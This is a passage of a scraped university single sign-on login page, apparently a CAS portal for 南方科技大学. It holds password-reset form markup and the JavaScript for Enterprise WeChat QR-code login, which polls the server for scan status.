kRGUzbGIyeTVwRWZnbXN4cFhDMnVSYmUxZXZibVpiQ0Y3ZHhTcHFUNWg0WFRjN0lTX2I2MlF5YXN6ODFqYVJSeXcwVk9FV0tMY2cxd3MzRmFrdFpwMGRGcEI2SVg5NE84MkJtUGRrMUNRRDItdjlfQnc1T051eHFsZExxTUdwaXYwWFQwYnVOTHJiM1JtUTB5TkYzdXhleHR3TGVfSG1qTzhtdEdZRlFvWDZFN3ZZOF96TFBVWWlqNGZ6dGNWZl9EQVVQOHhBM1NtR05WVm5yQUd6T0hELTZxUXNMdVhldWVRWkJSNENwb29qTDZqekdSNTRYUnlMNHNRNng0Wm9XbTU0eU05aWV0MEtZdnFLYVFXRGhtQWVuczNXZks1NXppTm5kU1BmVWpTVWJVRmZEWU9sODZDdkpyOTd4dzdrUl9uSDBGalZoLUhFeFJFTzVjM2hvZlBod3EzZ19YQlNfOWlrOExpTTZteDlRUUpjT1ljb2dTdjRadlRpdktaajE5MjI1clZoN04yRVVSZ2JHSEgtcGp1eHBidV9QcndJSExjWFI3TV8zS2lOWW5WRW44NFZfRHRBNGtjcy1DemN4UlZiYnRmQXc4ODF0dUZydkRfZ0t1cTRadmFYYTdJa1RCeC1WblpkekwwRFh6SHFGVjBWWWhMOHY3RWNhY1RyZU1ZYXhYN0lkamN2a3lzTmdJSzQydF9ncTlKLTc3V3dfVXNuM0Q0YTlQOGlIQ0JMdlpNOFRxS3pGbi1WZFkuQUZjRURpLUxUcmtxTm5KMHZwR1U3RlREQVhfbkRnWWs5SThSTk1UTmZBNl9qY2dpbE9wclJnV213NTRyNlp3YVZnTm1TX1g0Nmc5ODdINmUwRkVYTlE=" /><input type="hidden" name="_eventId" value="resetPassword" /><span class="fa fa-unlock"></span>
        <a href="javascript:void(0)"
           onclick="document.getElementById('passwordManagementForm').submit();" >忘记密码？</a>
    </form>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    

    </div>

                <script type="text/javascript">
                    /*<![CDATA[*/
                    var i = "One moment please..."
                    var j = "\u767B\u5F55"
                        /*]]>*/
                        $(window).on('pageshow', function () {
                            $(':submit').prop('disabled', false);
                            $(':submit').attr('value', j);
                        });
                    $(document).ready(function () {
                        $("#fm1").submit(function () {
                            $(":submit").attr("disabled", true);
                            $(":submit").attr("value", i);
                            return true;
                        });
                    });
                </script>


            </div>
            <div id="sidebar">
            <div class="sidebar-content">
                <p>出于安全考虑，一旦您访问过那些需要您提供凭证信息的应用时，请操作完成之后<a href="logout">登出</a>并关闭浏览器。</p>
            </div>
        </div>
        </div>
            </section>
            <section id="providers" class="login-section login-providers">
                <div>
            <!--                <h3 class="text-center mt-md-0 mt-4">--><!--                    <i class="fas fa-user-shield"></i>--><!--                    <span th:utext="#{screen.welcome.label.loginwith}">External Identity Providers</span>--><!--                </h3>--><div class="d-flex justify-content-center" style="display:block">
                <ul class="list-unstyled d-flex flex-column m-0 flex-fill">
                    <li class="p-1 login-provider-item">
                        <div id="myTabContent" class="tab-content">
                            <div id="weixin" style="height:405px;">
                                <div align="center">
                                    <h3 class="text-center">
                                        &nbsp;
                                        <!--<span th:utext="#{screen.wechat.login}">Wechat Login</span>-->
                                    </h3>
                                    <div class="impowerBox" style="width:280px;height:370px;display:block;">
                                        <div id="qrcode" style="background-color:white;width:280px;height:280px;">
                                            <div id="wx_after_warning" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg error" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>二维码已过期</h3>
                                                <p>您可尝试刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                            <div id="wx_after_cancel" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg warn" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>您已取消此次登录</h3>
                                                <p>您可以刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                        </div>
                                        <div class="info">
                                            <div class="status status_browser js_status" id="wx_default_tip"><p>请使用微信扫描二维码登录</p></div>
                                            <div class="status status_succ js_status" style="display:none" id="wx_after_scan"><i class="status_icon icon38_msg succ"></i><div class="status_txt"><h4>扫描成功</h4><p>请在企业微信中点击确认即可登录</p></div></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <script src="/cas/js/easy.qrcode.js"></script>
                            <script>
                                var uu = "clientredirect?client_name=Wework\u0026service=https%3A%2F%2Fwww.wozugou.com/ehall%2Famp-auth-adapter%2FloginSuccess%3FsessionToken%3Dabaaf89de47b43c083a818702ad3ce28";
                                $.get(uu, {
                                }, function(data) {
                                    var temp = eval(data);
                                    var timer = null;
                                    var options = {
                                        text: temp.url,
                                        width: 280,
                                        height: 280,
                                        colorDark : "#000000",
                                        colorLight : "#ffffff",
                                        correctLevel : QRCode.CorrectLevel.L, // L, M, Q, H
                                        dotScale: 0.7,
                                        timing: '#000000',
                                        logo:"/cas/images/wecom.png",
                                        logoWidth:50,
                                        logoHeight:50
                                    }
                                    new QRCode(document.getElementById("qrcode"), options);
                                });
                                // function showWechatQR(){
                                timer = window.setInterval(showalert, 5000);
                                changeStatus("default");
                                // }
                                function showalert() {
                                    $.get("?client_name=Wework&wechat=check", {
                                    }, function(data) {
                                        var temp = JSON.parse(data);
                                        if(temp.status == "confirm"){
                                            clearInterval(timer);
                                            var form = $('<form id="pac4jLogin" action="" method="post">'+
                                                '<input name="client_name" value="'+temp.client_name+'">'+
                                                '<input name="state" value="'+temp.state+'">'+
                                                '<input name="code" value="'+temp.code+'">'+
                                                '</form>');
                                            $('body').append(form);
                                            form.submit();
                                            //window.location.replace(temp.redirect);
                                        }else if(temp.status == 'cancel'){
                                            clearInterval(timer);
                                            changeStatus(temp.status);
                                            window.event.returnValue = false;
                                        }else if(temp.status == 'scan'){
                                            changeStatus(temp.status)
                                        }else if(temp.status =='warning'){
                                            clearInterval(timer);
                                            changeStatus(temp.status)
                                        }
                                    });
                                }
                                function changeStatus(status){
                                    if(status === 'cancel'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").show();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'scan'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").show();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'default'){
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else{
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").show();
                                    }
                                }
                            </script>
                        </div>
                        <!--<iframe th:if="${entry.name == 'Wecom'}" th:src="@{${entry.redirectUrl}}" width="100%" height="400px" frameborder="0"></iframe>--></li>
                    </ul>
            </div>
        </div>
        <script>
            var redirectTo = $("a[autoRedirect=true]").attr("href");
            if (redirectTo != null && redirectTo != undefined) {
                window.location.href = redirectTo;
            }
        </script>
    </section>
<!--            <section id="acceptto" class="login-section login-qr d-xs-none d-md-block" th:if="${accepttoApplicationId}">--><!--                <div th:replace="fragments/accepttoQRCode :: accepttoQRCode">--><!--                    <a href="fragments/accepttoQRCode.html">accepttoQRCode</a>--><!--                </div>--><!--            </section>--></div>
    </div>
    </main>
</div>

<footer class="py-4 d-flex justify-content-center cas-footer">
    <div id="copyright" class="mr-2 d-inline-block">版权所有 &copy; 2020 南方科技大学 （支持电话:88010777）</div>
</footer>

</body>
</html>
